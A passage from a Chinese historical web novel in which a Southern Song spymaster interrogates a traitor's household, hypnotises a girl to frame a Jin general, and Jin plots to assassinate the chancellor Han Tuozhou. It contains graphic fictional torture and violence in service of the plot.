黑袍人招呼着朱十三,指指面前打开的一个类似探望眼一般的洞口,一束光从里面传出来,女人的惨叫声也变得清晰了。 第三百章 逼问 朱十三立刻起身抢到光束前,一具浑身赤裸,伤痕满布的女性躯体正被绑缚在里面的行刑架上。 当看清楚那模糊不清的面容是谁,朱十三不管不顾的朝着那个刚才还被他称为大人的黑袍打出了一掌。 这一掌含着愤,含着怒,也含着屈辱,自然是最不留情的一掌。 可惜这一掌连对方的衣角都没能碰到。 “为什么,为什么,有什么事情你们冲我来啊。为什么要为难她们,你们这样做,跟那些金狗有何不同!” 朱十三睚眦俱裂的吼道。 “啪……嘭……” 一个耳光拍的朱十三半边的脸直接变形,而另外半边也因为直接撞在墙壁上,同样没了样子。 朱十三差点没直接就失去了意识,可能是因为心里的挂念着里面正在受刑的妻子,才让他扶着墙,愤恨的瞧着对面的黑袍。 此时的他眼里已经没有愧疚,有的只是无边的仇恨。 “哈哈,女人啊女人,果然是这世间最厉害的武器。没想到金庭这一手,尽然让我子虚三位重要的暗子背叛,最后差点累得几乎在汴京的所有暗子全军覆没。” 黑袍人一脚踢在了对方的胯下,朱十三直接双眼暴突,冷汗满面。 可那倔强的不服气的眼神,去还是死死的盯着这个羞辱了自己妻子的曾经是上司。 “蠢材,难道随便一个妇人就能受得了我子虚的这些刑罚吗,你的脑子里的浆糊,是不是也一起都射到别人肚子里去了。” 黑袍人说完直接就一脚踢在朱十三的脑袋上,直接让对方眼睛耳朵,出血不止,面容恐怖。 可更加恐怖的事朱十三似乎要将自己灵魂都扯出来的心惊。 “不会的,不是的,她不是的……啊!……” 似乎是朱十三的惊叫盖过了里面的惨叫,或者说是里面惨叫的人听出了朱十三的声音,竟然就硬生生是忍住了惨叫,真是……恶心啊…… 陈子云落下了头上的面罩,鄙夷的看着这个如烂泥一般的朱十三跪在自己的面前。 “我女儿……娉婷……” 朱十三根本不敢抬头跟陈子云对视。 “把手伸出来。” 陈子云也不管对方伸出的是手,还是头,直接一刀切下。 一股鲜血喷溅,陈子云在那只断手还未落地之前一脚就踢进了观察的洞中。 “跟他,无关啊,是我,是我出卖……” 里面的女人似乎根本不用确认这只手是不是朱十三的,本来硬的跟什么似的嘴,立刻就要开口交代了。 “啊……杀了我吧,杀了我吧,我对不起,对不起……” 朱十三彻底的崩溃了。 当初他是为了家庭,为了自己所谓的亲情出卖了故国,出卖了信仰,出卖了曾经的一切。 而现在却发现,自己本以为必须出卖一切都要保护的东西,从一开始就是个局,是假的,是泡影。 …… 断手之痛已经足够让人痛不欲生了,可比起朱十三此时的心痛来,却好像刚才陈子云的那一刀不是砍在自己身上一般。 朱十三不怪陈子云的狠辣不留情,这是在那一天选择出卖自己祖国的时候,早就想好的下场。 南宋没有什么对不起他的,子虚更是把他从一个无家可归的孤儿培养成身手不凡的黄部探子。 当初要来金国,也是他们这批人自愿,既有报效国家的心思,也不乏建功立业的野心。 所以,但凡选择来了金国,家里有后人的自然是已经给了很好的福利的,而像他这种没有亲眷的,也给了相当大的承诺与便利。 如今自己落得这个下场,无非四个字,咎由自取。 可他朱十三是万万没想到,自己那个相濡以沫五年的枕边人竟然会是金庭的探子,自己原先还想当然的以为曾经试探过对方,对方便不可能是金国的人,可笑啊,自以为是的判断,自以为是的愚蠢。 也好,也好,死吧,该死了,就死在这里吧,死得其所,他朱十三终于不要在虚假的幸福里煎熬了。 只是…… 朱十三终究还是想争取一下,不是为了自己,也不是为了那个注定不可能活下去的假妻子。 “大人……” 朱十三挣扎的站起身子,不顾断手的锥心疼痛,强撑着身体,重重的磕在陈子云的面前。 “朱十三死不足惜,但求,但求……” “要我放过那个小妮子是吧?” 陈子云不屑的瞥了对方一眼。 “当初给你们培训的到底是哪个白痴,难道么有告诉你们,女人,小孩,和尚,尼姑这些看似无害的人物,是你们最需要防备的吗?” 陈子云厉声喝问道。 “怎么,看人家小,就连基本的试探都不做了,怎么,这几年下来,你还真将对方当女儿养了?” “可笑!” 陈子云一脚踹在朱十三的脸上。 “你这位媳妇起码还有些硬气,到现在还能忍着不说,你那位女儿都不需我们动刑,就把你的老底一五一十的都交代了。” “蠢货!不可救药的东西。” 陈子云想起那些自己来不及救下的暗子,气的又在朱十三的脸上踹了几脚。 “呜呜……” 朱十三哭了,一个经过子虚酷刑训练的男人竟然被陈子云的几脚给踢的哭了。 “哎,看来回去之后,要抓紧把子虚的培训计划改改了,这样的货色,就算能扛得住酷刑又有何用!” 陈子云一掌切晕了朱十三,提领着对方的脖子就往刑讯室里走。 他去的并不是那个正在被逼问金庭消息的妇人那处,而是刚才他跟朱十三提到的,那位老实交代了情况的女儿那里。 与那件酷似炼狱的刑房不同,这里虽然也算不上好,但是那些看着就吓人的刑具少了,一张床,一张桌子还有两把椅子,倒是像个简陋的小卧室。 那个原名为司马娉婷,此时改名为朱娉婷的十五岁、六岁年纪的女孩儿,正哆哆嗦嗦的抱着自己的双腿,蜷曲在床上。 陈子云提着朱十三进来,明显是又吓了这个小女孩一跳。 第三百零一章 奇妙的真相 可当她依稀看明白,那个被陈子云提在手上的须肉模糊的人影是谁的时候,眼泪直接就掉了下来,捂着嘴巴,呜呜的啜泣着。 陈子云自顾自的在椅子上桌下,将昏迷过去的朱十三丢在那女孩的床前,分明是要让对方看的更加清楚些。 这个房间,其实是跟那个妇人受刑的房间挨着的,所以刚才妇人受刑时的惨叫,也是在不断的传过来的。 这也是为什么,这个女孩儿基本没有人管她,她还是迫不及待的将自己知道的情况都交代了。 这种听着自己的至亲受苦的精神折磨,比一般的肉体刑罚更加的难熬。 “爹爹……呜呜……” 司马娉婷呜咽着,想靠近看看自己这位爹爹的情况,却又怕这血肉模糊的景象,也怕那个坐在桌子旁的恶人。 陈子云也不急,他就这么坐着,看着这位前任的金国大将军的司马长青的女儿,虽然说是个小妾生的不知名的庶女,但是这样的人为何会被金国的谍报机关收入还是让他很是不解。 陈子云在调查朱十三叛变的轨迹时,发现这对莫名出现的母女,当得到探子的消息,这是前朝金国皇室夺权失败,被连累抄家的将军司马长青后人的时候,他也是一脸的不可思议。 不说,对方是怎么从抄家灭祖的灾祸中幸存下来的,更奇怪的是,为何金庭会允许这样的人物进入自己的谍报系统。 这就好比,你杀了人家的全家,竟然还要别人为你工作,还是那种要卖命的工种,实在是匪夷所思。 “我真的很好奇,你是怎么瞒过金庭碟子的身份审核的,他们就不知道,你的存在对于金庭的威胁,可比我们这些南宋的碟子更具杀伤力。 虽然你那位父亲已故多年,可当初他带出来的人物,可是不少在金庭如今的军事要职上担任着职务。 要是你借着如今的身份,伺机联系上那些,依旧怀恋故恩的,那还不乱套了。金国这本来就已经开始走向奔溃的朝廷,怕是要被你这个小人儿,狠狠的推上一把。” 司马娉婷只是继续呜咽着,并不回答陈子云的问话,这场面看上去就像是一个魔王在调戏被抓来的纯洁处女。 隐秘的屋室,昏暗的灯光,可怜的少女,无情的魔王。 陈子云此时扮演的角色,无论怎么看都是上不得台面的。 “你这位父亲,当然是不是亲生的,但终究是养育了你几年。至于那位母亲,嗯,在我得到的消息中,你的亲生母亲应该是陪着司马将军一起被斩的。 我却是没查到你现在这位母亲的真正身份,不过不要紧,终究也是护着你的人。” “不,她不是,她……” 司马娉婷欲言又止。 “哦?她不是什么?” 陈子云摸着下巴,好奇的问道。 “她,她并不知道我是谁。” 司马娉婷的回答着实让陈子云惊讶不已。 “不知道你是谁?却又成了你的妈妈?” “我当时只是想到包子铺乞讨几个包子果腹,是她主动找上来,让我扮演她的女儿,说是可以帮我找个稳定的衣食父母,我当时实在是太饿了,我已经好几天没吃饭了,我就……” “哈哈哈……哈哈哈哈……” 陈子云拍着自己的膝盖不住的大笑,竟然还是这么离奇的桥段。 “那你为何还用真名相告,难道就不怕被人认出来?” “不会的,世人根本没几个知道前大将军有个叫做司马娉婷的女儿。” 司马娉婷突然脸红了一下,接着说道。 “我当时太饿了,下意识的忘了隐瞒身份,好在他们两人都不清楚情况,这也是我后面为何要急着改姓的原因。” 陈子云看着躺在自己脚下的朱十三,是心里越来越不舒服,合着自己子虚辛辛苦苦训练出来的暗子,竟然被这么一个小姑娘骗的团团转,实在是丢份。 “既然如此,那便算了吧。本来我还想通过你对于这两位的感情,跟你做个交易的,如今竟然是这样的局面,那恐怕我是没算盘可打了,就索性一起送你们三人上路。” 陈子云这话说的很没水平,言辞粗糙,无非就是以生死逼迫对方这小女孩,让她率先屈服。 “不要,不要杀我,你想知道什么,我都告诉你,求求你,别杀我。” 司马娉婷苦苦哀求着。 “也请你高抬贵手,别杀他们,好吗,我真的什么都说了,金国杀了我全家,我并不能算是金国人,我们不是敌人,你不用杀我的。” …… 杀人自然不是陈子云的目的,何况还是个可能非常有用的人。司马娉婷被他火速的珍藏了起来,这个临时找的基地虽然不错,但终究不适合藏人。 而且现在这汴京的形式说一声风声鹤唳也不为过,原因很简单,两军在金宋边界上的第一次交锋,金国没能赢。 不错,就是因为没赢,可这一场也不算输的碰撞,算是把金国对于曾经的骄傲给打掉了一半。 无他,因为这一场规模并不大的交锋是在平原上进行的,也就是说是,金国是派出了自己的精锐骑兵,并且是在完全能发挥地形优势的情况下跟宋军交战的。 两国似乎也是刻意的想让这次交锋变得公平些,两边派出的人马基本相等,可就是这一场本来应该被金国摧枯拉朽的正面碰撞,竟然被南宋的军队给挡下来了。 不只是金国不能相信,自己的驰骋天下的骑兵会有冲不破的军阵,就是那些在城墙上观察的宋军将领也是激动的不可置信。 当然,除了那位如今已经要靠人扶着才能上城墙的老人,在亲眼目睹自己这些年亲自训练出来的军队,终于在所有人面前打破了金国的神话,大笑不止。 “了却君王天下事矣……” “辛老,不可如此动情,你的身体……” 一袭青衫的,脸带面具的中年儒生一只手按着老人家的背心有些责怪的说着。 “哈哈哈,要是此时还不能大笑,人生岂不是太过无趣,你说是也不是?” 那张所有人都能看得出,这老人寿数将近的脸上,堆砌的褶子似乎就是在诠释着,什么叫做人生得意须尽欢。 “……也是。” 那青衫儒生的神色躲在面具下,可就这两个字里透露出的喜悦,也足够知道对方此时的心境了。 第三百零二章 意外的战果 至于之后的情况,那自然是两极反转了。 在这一战之前,金国这边本来是磨刀霍霍,就等着宋军走出城门,还是按照以前的骑兵扫平一切的套路,狠狠的教训一顿。 有些野心大些的将领,甚至已经在出发之前就开始讨论,如何捉住宋军败逃的机会,冲进宋国的城池,好扩大自己的功绩。 而这一场本来应该打的宋军丢盔弃甲的第一战,却是如此收场,实在是好比数九寒冬里被人将一盆冰水泼进了被窝里。 而南宋这边,自然是三月里的春天,一派花团锦簇,甚至还从这花篮里,找到了那缥缈的仙根。 多少年了,自从被这帮金国蛮子从北边赶到这南边来,他们这些南宋的君臣憋屈了多久了。 今天这一战,就像是被打了兴奋剂的联赛运动员一般,似乎这天下已经没有我南宋的敌手了。 有了这一战的垫底,宋宁宗那本来终日愁云惨淡的面容,终于是变成艳阳高照了。 所有在朝的南宋臣子都发现,如今的宋宁宗只是稳稳的坐在御座上,却已经有了一股足够震慑全局的威严。 其中感触最深的怕就是韩侂胄这个平时习惯了“帮着”皇帝掌控朝政的宰相了。 虽然有些意识到自己权利必将旁落的悲哀,但是想到南宋能在自己的手上重整旗鼓,将来也足够他青史留名了。 作为已经位极人臣的韩侂胄,又是皇后的同宗,顶级的外戚身份,他掌权从来都不是为了什么富贵荣华,因为这些,他韩家从来就没有缺过。 出将入相,既然不是为利,那自然就是为名了,这如今还有什么比让南宋中兴的名更大的。 而其他的南宋朝臣,不管是文官还是武将,不管以前是主战的还是主和的,都是弹冠相庆,就算是平时以最严肃的道德君子的面孔见人的,在下朝后也是难得的让家中的老妻,将藏了不知多少年的好酒从后院里挖了出来。 就是连临安城里那些自持身份从不对普通人开放的高端青楼,也纷纷派出了最红火的头牌,在公众场合搭台,来个了比选花魁是还热闹的庆典表演。 …… 当然这些自然与此时的陈子云无关,他如今要考虑的是怎么利用好手中的司马娉婷。这一张奇牌,要是用的好了,说不得就能扭转一场战局的胜负。 “啪……” 一个耳光狠狠的打在司马娉婷的脸上。 “那你是谁?” 陈子云盯着她的眼睛问道。 “我是司马娉婷,是前金国大将司马长青的女儿。” “啪……” 又是一巴掌。 “司马一家早就被杀了干净,哪里来的女儿?” “我是司马家的小妾所生,娘亲身份低微,被养在外面,官兵来搜查时,我被娘亲丢进了临着宅子的河里,才逃过一劫。” “啪……” 似乎这耳光并不在乎司马聘婷说的是不是真话。 “那你逃得性命不好好的苟且偷生,找上来又是为何,不怕我将你献出去,给朝廷处置吗?” “奇将军,您是父亲最为器重的,好几次从父亲口中称赞您不但军事谋略出色,更难得的是你有不畏强权,体恤下属的心肠。 父亲曾经说过,金国以前的军事战略野蛮惯了,少了些儒将,奇将军是金国未来的希望。” “那你这次找奇将军是为什么?” 这次陈子云终于没有再打司马娉婷,只是一双眼睛似乎有些出神的盯着对方的眼睛。 奇怪的是,司马娉婷在他的注视下,目光逐渐变得呆滞,就这么愣愣的看着他。 “我只是想恳求将军,念在昔日与家父的交情,将我送到南边去。” “我只是……想恳求……将军……” 陈子云缓缓的说着,而司马娉婷就像是梦呓一般的复读着。 移魂大法,原来陈子云是以九阴真经在给司马娉婷在下心理暗示,难怪他事先要那么对她,刚才的那几巴掌就是在打掉司马娉婷最后的抵抗心理。 陈子云之所以要将这些东西刻进司马娉婷的心里,因为此时这位奇将军,作为昔日司马长青的下属与好友,如今正把守在宋金边界的一个重要的关隘上。 陈子云当然不会指望,司马娉婷一个身份不明的往日故友的庶女,就让那位治军严谨的将军放弃自己的原则。 他要赌的,不过是这位作为一军之长的奇将军,会被恻隐之心左右,放了这位在金国注定活不下去的昔日友人的女儿一马。 至于司马娉婷的身份,根本没必要去冒充,因为这个时候,金国都已经在悬崖边上了,冒充一个当时因为内部倾轧而被连累的已故将军的女儿,实在是看不出任何的好处。 而且,估计到时候,那位奇将军也没有这个闲心去认真的调查司马娉婷的身世。 可一旦对方真的心软,将这位行径可疑的小女子放过关隘,那陈子云保证,将会有他意想不到的麻烦在等着他,要是他还能从这件事情上保住性命的话,那就算他命大。 陈子云的做法很简单,那就是随便找个在朝中跟奇将军有过节的人物,将一张写着奇将军收留司马娉婷的条子扔进对方的府里,甚至不用陈子云怎么去编撰这件事情的真实性,他就能保证,第二天,甚至当天夜里,对方就能在金章宗面前,将奇将诬陷的随时就会叛金降宋。 这要是放到平时,金章宗自然不可能就这么听信一人之言,而且金庭的那些聪明人也必然看得出来,这很可能是南宋的离间计。 可是金国在上一场战争中受了创伤啊,还是心里的,那那种几乎一蹶不振的严重创伤。 那次交锋,不仅是打掉了金庭的傲气,同时也打断了他们的脊梁,就是那些平时丝毫不将宋军放在眼中的武将,也开始琢磨,是不是他们之中出了叛徒,将机密信息出卖了,所以才会打成这样。 而此时奇将军的消息被送上来,不管对方是如何的忠诚,如何的志军严谨,如何的好人缘。 可到了此时此刻,这群在汴京中正疑神疑鬼的君臣中,捉着这个可以一致声讨的,撇清自己责任的好机会又如何会放过。 第三百零三章 难题 至于这时候临时撤换边境主帅,会不会影响军心,那就让副帅顶上,对外就是说奇将军突然重病,需要回京修养。 倒时候再派个军衔更高的,资格更老的人物去,配合着副将将场面压制住就好了,他们大金国难道就一个奇将军能打仗了?这些在朝中站着的武将,自然是不承认的。 至于说,司马娉婷是谁,是不是真的事司马长青的女儿,谁还关心这个,到时候顺手一起处理了就是了。 所以当陈子云关隘外,见到完好无损的司马娉婷出来的时候,也是被惊的不小。 他有想过给对方收尸,也想过对方可能会被遣送回金国境内,但要这般完好的出来,却是万中无一的期望,实在是小看了那位奇将军了,对方竟然有这样的器量。 陈子云出现在司马娉婷的身后,轻轻在她肩膀上有节奏的拍了三下。 “啊!” 司马娉婷如梦初醒的惊叫了一声,看着周围的环境,似乎不清楚自己是如何来到这个陌生的地方的。 “别回头,往前走,走到南边去,我会让人给你一个身份。” 陈子云说道。 司马娉婷颤抖着耸了耸肩头,似乎在犹豫。 “怎么,你难道还想回去,找那两位?倒是也可以,不过你确定你们还能回到以前的那种真真假假的关系中去?” 陈子云嗤笑着问道。 司马娉婷在原地踌躇了片刻,抹了抹潮湿的面颊终于还是往前去了。 本来为了来个死无对证,陈子云其实是准备杀了司马娉婷的,不要说什么残忍,滥杀。 在面对两国交战的时候,一个两个人的牺牲,是在所难免的,不是有什么战时状态吗,这种时候,人命就不是平时的人命了。 而之所以让陈子云放弃了原先的打算,是因为不久前子虚在金国的最后一个据点被抄了,而本来在里面的牛十三跟那位金贵女间谍也被子虚的人在死之前处理了。 这也是应有的操作,不管是朱十三手中掌握的南宋的信息,还是那个夫人本身的身份,子虚的人都不可能冒着带不走他们,被金国间谍机构活捉的风险,让他们活下去。 最终从那个据点逃出来的子虚部众也没几个,经此一役,子虚花费了数年才在金国都城建立的情报系统算是彻底的崩溃了。 不过时至今日,两国已经明刀明枪的摆出来阵势,他们这些幕后的工作者,也该撤退了。 一切的阴谋诡计,在真正势不可挡的实力面前,终究是渺小的。 陈子云这次孤身入汴京,能做到的也就是这些了,真正能决定两国历史走向的终究是战场上的拼杀。 如今宋金两国国势其实差不了多少,不过是从两个方向走来的而已。金国是从以前的北方蛮子,不断的学习着儒家的文化,将自己彻底的汉化,以至于连应以为傲的军事实力也在不知不觉间衰弱了下去。 而南宋,本来是从顶级风流的文化氛围中,拼命的选出了几个能扛得起枪杆子的人物,将军事力量的提升,坎坷的推动着。 而由于陈子云的乱入,这份本来很可能夭折的努力,终于是被他将那根差点就断了的筋腱给链接了起来。 一个从有到无,一个从无到有,两国的军事实力在这种相向的奔赴中,终于到了一个刚好碰在一起时,不相上下的其妙点上。 而随后的一场由宋军发起的攻城战,彻底的将这份平衡给打破了。原来的那奇将军驻守的关隘,本来应该是最强的,宋军最不会选择攻破的地方。 可因为临阵换帅的消息被宋军得知,那本以为能挑起脊梁的副将又昏招频出。就算是那位所谓的德高望重的监军,也再难稳住军心。 直到宋军攻城的时候,十分的战力,八分被消耗在自己手上,如何还能受得住! …… 一切的形势都像一股脑的倒向了南宋这一边,幸福来的太快,在临安收到这个战报的时候,甚至都不敢相信。 要知道开始那一场不过千人的交锋,就算是胜了,也很大概率上可能就是运气使然,可这样实打实的攻城战,就不能用别的东西解释了。 就算是不通武略的文官,也能想象,要把一座重兵把手的关隘给攻下来,那是怎么样的艰巨。 将领的统帅,士兵的用命,后勤的保障,悍不畏死的冲锋,以及那不知数的人命,熟读史书的他们如何能不知道,攻城战向来是所有战争中最难的,最艰巨的。 古往今来的围城战役,往往是围而不攻,让对方陷入绝望的,以此让对方主动投降。 而一旦发起攻城战,但凡不是实力悬殊的对手,没有几倍于对方的兵力,是不可能攻下来的。 可竟然就这么成了,还是如此的迅速,如此的摧枯拉朽。 反而是作为皇帝的宋宁宗表现的淡定许多,只是在早朝之后召集了韩侂胄赵茵萝在内的几个高级官僚,商议如何支援前线的事宜。 赏,自然是要赏的,这破天的功绩,此时赏也能更好的激励在前线的将士。可当时为了这次北伐,宋宁宗早就将老底都掏出来,这时候如果再要动用金钱的赏赐,实在是有心无力。 “既然不能奖励银钱,那便许以爵位,名利予其一,也能安抚众将士的。” 韩侂胄建议道。 “嗯,不错,韩相所言甚是。” 有人附和道。要是放在平时,他们这些文臣对于武将的爵位控制是相当的严格的,绝不会轻易的放手。 可如今这时节,就算是再蠢的人物也看得出来,这一次的战胜金国,还指望着这些武人用命呢。 “韩卿的意思朕自然明白的,可对于那些立功的将领,朕自然不会吝啬爵位的封赏,可那许多的兵士又该如何安抚。 这一场大战下来,不说阵亡的军士不知凡几,皆是少不得抚恤,而那些伤残的自然也要国家奉养,其他的也少不了要让他们知道国家不曾遗忘他们才是啊。” 宋宁宗抛出了一个大难题。 第三百零四章 宰相劳军 这就是南宋一直不敢跟金国开战的原因,因为一场战役下来,先不论输赢,这花出去的银子就远远超过了南宋上贡给金国的岁币。 虽然站在国家感情上讲,那样的屈辱是难以接受的,但是要是按照实际的国家利益讲,其实岁币是比战争更划算的。 这也是为什么南宋的朝臣一直坚持接受金国那些无礼要求的原因,不是他们真的恬不知耻,只是地处弱势,相忍为国而已。 “不如给这些军士免税吧。” 赵茵萝突然开口了,众人都诧异的看向她。 “长公主,所言不差。免了这些军士家中的税赋,不但能鼓舞人心,也不用朝廷此时就拿出真金白银来,乃是一举双得之策。” 有人立刻回应道。 宋宁宗看着赵茵萝,思索的片刻,微微点头。 “却是不惜为一个主意,众卿家可有其他的建议?” 众人你看看我,我看看你,最后讲目光都集中在韩侂胄的身上。 “韩卿?” 宋宁宗自然也知道,这帮子人,没有韩侂胄是成不了事的,这最后的主意还是要这位宰相来拿。 “还请公主与陛下恕老臣不敬,老臣以为税赋乃是国家根本,不到万不得已不得轻易免除。 一来我朝各种税制已经沿袭数百年,朝廷历来皆以每年收得税赋来衡量国家在这一年中的丰收好坏。 而且朝廷各部门的用度计划,也是根据近年的税赋收入来量入为出的。 这税赋一免,必然牵一发而动全身,实在是……” 韩侂胄没有说完,但是所有人都明白了他的意思,这让在场的人都是惊讶不已。 长公主跟韩侂胄是什么关系?韩家老二可是当今的驸马爷,那他韩侂胄不就是公主的大伯吗。 而且,自从赵茵萝入朝听政以来,韩侂胄虽然没有表现出什么捧角的样子,可也从来不曾下过绊子。 如今在这紧要关头,怎么就突然来了这么一下,难道是姑媳矛盾?这让在场的所有人的遐想连篇。 反倒是赵茵萝,不过是淡淡的瞥了韩侂胄一眼,并没有表现的过于激动的样子。 “那韩卿可是有其他妙招?” 宋宁宗看着韩侂胄,眼神中似乎有些不悦,看着就像是一位父亲见自己闺女被欺负了,来兴师问罪一般。 “陛下,不如让老臣带着陛下的旨意去前线亲自犒赏三军,想来军士们见到陛下的同仇之心,必然能更加奋勇杀敌。” 韩侂胄语出惊人,一国之宰,竟然亲赴前线,这样的事情翻遍历史也是少见的。 这可不是敌军攻入京城国都的时候,丞相也逃无可逃了,如今的战场可是在千里之外的金国地域。 他韩侂胄说一句南宋第二人,也是无人敢是错的,此时竟然不顾自身安危,亲赴前线,这是何等的气魄。 “不可。” 宋宁宗轻声喝道,那脸上的表情明显实在压抑心中的怒火。 “是啊,韩相,君子不立于危墙之下,您怎么可以以身涉险呢。要是……” “不错,韩相此招万万不得行……” 众人纷纷劝诫着。 “陛下,诸位,韩侂胄得陛下恩宠,也托各位同僚的扶持,尸位素餐,占我大宋的相位已二十年,虽然口中主战,却寸功未有。 如今我大宋兵士,正在两国大战上一扫百年屈辱,我作为当朝宰相,恨不能亲身士卒。 可怜我如今已是老弱之躯,已经开不得弓,提不得剑,否则必让三尺青峰饱饮敌酋血。” 韩侂胄越说越激动,最后甚至直接拜倒在宋宁宗面前,这对于一个当朝宰相来说,简直是自己找羞辱的行为。 就是连本来稳坐着的宋宁宗也赶紧起身来。 “韩卿,还请起来说话。” 在南宋可不是满朝奴才的清王朝,在这里,士大夫的地位可是不会低到那种份上的。 “是啊,韩相,你这是做什么。” 众人也立刻围拢来,想把韩侂胄先扶起来。 “别动。” 韩侂胄一声喝,直接让众人停在了那里。 “陛下。” 韩侂胄朝着站在御座旁的宋宁宗拜倒。 “还请陛下体恤老臣,让臣下有看一眼我大宋儿郎战场杀敌的风采。 陛下,老臣的年纪不小了,花甲已过,古稀将近,老臣实在是怕啊!怕哪一天睡下,就再也不醒了。“ 韩侂胄难得的做出一副颓丧的摸样。 众人此时才发现,这位本来在他们心中永远是标杆一般的人物,竟然也是褶皱迭起,眼袋吊锤的老人了。 “韩卿。” 宋宁宗此时也从御座旁下来了,紧紧的握住了韩侂胄的双手,将他从地上扶起来。 “辛苦你这些年为国家操劳了。” …… 有这么君臣相宜的一幕,韩侂胄的建议自然是不可能再被否决了,而他要亲赴前线劳军的消息,也被直接散播了出去。 这不但能直接刺激前线军士的期待,也能威慑金国的行动。 当然作为一国的丞相,亲自赶赴前线,自然不会什么都不带,只带着一卷黄纸。 就算宋宁宗此时再缺钱,也不会真的让韩侂胄空着手去。 拿不出金银来,就从各个皇庄里凑一些牲畜粮食出来,这些东西装车之后,可比金银看着唬人。 宋宁宗如此,韩侂胄自然也不能没点表示,也让人收购了一些肉食家畜来,装填自己的行李车队。 而作为宰相的韩侂胄跟一国之君都这般自掏腰包了,那,那些有点觉悟的朝臣又怎么会傻傻的一点表示都没有呢。 你出十头羊,我出三十只鸡,我家猪多,除了一对留下做种子,其他的就当是孝敬那些在前线拼命的兵崽子了。 而这样一来,本来韩侂胄是计划三天之内就启程的打算,硬生生的被拖了五天之久,最关键的就是在想办法整顿这满是活物的慰劳车队。 一阵鸡飞狗跳的场景中,韩侂胄终于是盼到了出发的时候。 可韩侂胄真的只是为了去完成自己看看边境战事的心愿,就放着南宋朝廷这么个大麻烦不顾,而为了慰问军队,就要他这个宰相出门嘛。 第三百零五章 杀机 下过象棋的人都知道,作为主帅旁边的士和象是不应该走出田字格的,为什么,因为他们只有在那个范围内才能起到最好的保护主帅的作用。 他们一旦离开了那个地方,能起到的作用可能连一个小兵都不如。 其实在说出自己的想法之前,他就找宋宁宗跟赵茵萝谈过了。他是真的打算急流勇退了,当了二十年的宰相,就算宋宁宗再能忍,他自己也快干不动了。 六十几岁的高龄,每天那样的工作,天不亮起床,还要挑灯夜战,实在是有些吃不消了。 赵茵萝当时表现的倒是相当的冷静,只是说给她一些准备的时间。意思很明确,当韩侂胄归隐之后,南宋的朝堂自然是轮到赵茵萝把控了,这是谁也难以辩驳的事实。 不管是赵茵萝直接出任宰相的职务,还是经过她的推荐,让别人出任,她做个幕后掌控者,都没有什么区别。 …… 韩侂胄这一趟看着声势浩大的边境之行,其实对于他来说就是一场官场的谢幕表演。 这是给所有的南宋朝臣一个明示,他这个宰相要退出权利中心了,让那些有想法的赶紧出手,给自己争取机会。 虽然明眼人都能看的出来,如今以赵茵萝在朝中的实力,要是真的争抢起来,是没有人能比得了这位当朝长公主的。 可是这历朝历代以来,也没有人听说过有公主当宰相的先例啊,就算是那位前无古人的女帝,也没有站在朝臣首位的经历啊。 所以这就让那些觉得有希望的南宋朝臣们,纷纷动起了心思,那一人之下万人之上的位置谁不想去坐上一坐? 而韩侂胄此时的出差,更是让他们不用顾忌什么了,毕竟没有了这位在位二十几年的宰相看着,就算是上朝的时候,步伐也轻快一些不是。 韩侂胄这个时候自然是没心思再理会临安城中是如何的热闹摸样了,不过他相信以赵茵萝的本事,绝不至于手忙脚乱就是了。 况且,后面还有个威望空前的宋宁宗在看着场子,闹吧,乱不起来的。 宋宁宗如今在宋朝历来君主中的地位,不说开国的那几位,怎么说也有中兴之主的气象了。 连韩侂胄如今也要忐忑的侍奉着,就凭临安城中的那些货色,还不是被宋宁宗压着打。 “赢得生前身后名,可怜白发生……” 韩侂胄唱着由那位老人的词作,轻抚着两鬓,嘴角露出些不知道是得意还是落寞的微笑。 …… 当陈子云在金国境内听到这个消息的时候,对于韩侂胄的急流勇退的做法是早有预感的。 可对于他竟然选择这样的方式,突然的放下身上的重担,而且是在这个时候,多少有些意外。 而且,韩侂胄这样不管不顾的就往边境上跑,实在是有以身涉险的意思。别看现在宋军气势如虹,将金军打的龟缩不出。 可要是有人真的越过了战阵,去后面半道上劫了韩侂胄的道,那可就…… 当然要做到这样的事情,也并不容易,不说这一路上宋军的把守,对于南宋境内敌国奸细的审查。 就是单单子虚布置在韩侂胄身边的人手,也不是一般人物就能近身的。 “韩侂胄,这样的高调可不是你的习惯啊,是不是又在谋划什么。” 陈子云也是在心中揣测着对方的意图,可惜他毕竟不在临安,不知道这是韩侂胄自己的一时兴起,还是跟赵茵萝他们商量之后又了什么妙计。 不过此时陈子云也没法直接询问,如今他在金国基本上已经断了消息的来源,只能靠自己在街上打听。 那几个剩下的子虚部众,也藏进了深山里,就等着宋军打过来的时候,直接随军离开了。 所以,陈子云此时在金国境内可以算得上是真正的孤家寡人一个了。 “也好,也好,这汴京还没来得及逛逛,下次来,说不得就不是金国的汴京了。” …… 奇将军,也就是那位被陈子云用司马娉婷算计了一回,被金章宗从前线调回来,间接的害的金国丢了一座关隘的那位。 此时正跪在金章宗的脚下,他不是来请罪的,而是来请战的。如今他身上的冤屈自然是已经没有人在注意了,本来那位司马娉婷就不是什么要紧的人物。 后面金国的朝臣也想明白了,自己是中了南宋奸佞的毒计了,此时对于这位莫名含冤的将军还是有几分愧疚的,要不是如今金国情况岌岌可危,说不得还得给这位官复原职,大加安慰才是。 可惜,如今金国的局面,自保都来不及了,哪里还会有心思顾及这位的冤屈。 而奇将军今天来金章宗这里,却是来求事的。他要带领死士,刺杀北上劳军的韩侂胄。 金章宗瞠目结舌的看着眼前这个一袭江湖武夫装扮的奇将军,有些不确定的问道。 “奇将军,可有把握?” “半分也无。本来就是仓促之事,韩侂胄身为一国宰相,凭谁也猜不到他如此以身犯险,臣下自然也是一般料不到。 但是臣下猜想,南宋如此做法,无非及时两个理由。 一个自然是南宋君臣因为这次的战争,内部出现了不可调和的矛盾,以至于让一位宰相不得不如此作为。 二来,就是韩侂胄以自身为饵料,在等大鱼上钩。 既然如此,臣便如他所愿,以不惜之身,当一次咬钩的大鱼,就算冲不破这张大网,也必将为我大金将他的计划打乱。” 奇将军道。 “那岂不是委屈将军了。” 金章宗满脸不情愿的说着,好像是在替奇将军担心。 “陛下,臣不过是戴罪之身,只求能为我大金再尽一份绵薄之力,觉不惜以死报国。 此生臣不能马革裹尸,但求不老死于床榻之上。 还请陛下成全。” 奇将军拜倒。 “请起,请起,爱卿这是何故。” “哎,也罢,如今国运飘摇,有爱卿这般的报国之之士,朕也足够慰平生了,就准了爱卿吧。 不过,爱卿全权报国之心可表,但身先士卒之事就让下面的人去做吧,我把那些投靠过来的江湖人物都分派给爱卿指挥。 还望爱卿能凯旋而归。” 金章宗从御案上的一个盒子里掏出了一块令牌,递给了奇将军。 “执次令箭,爱卿可随意调动那些人等。” “谢陛下。” …… 第三百零六章 危情 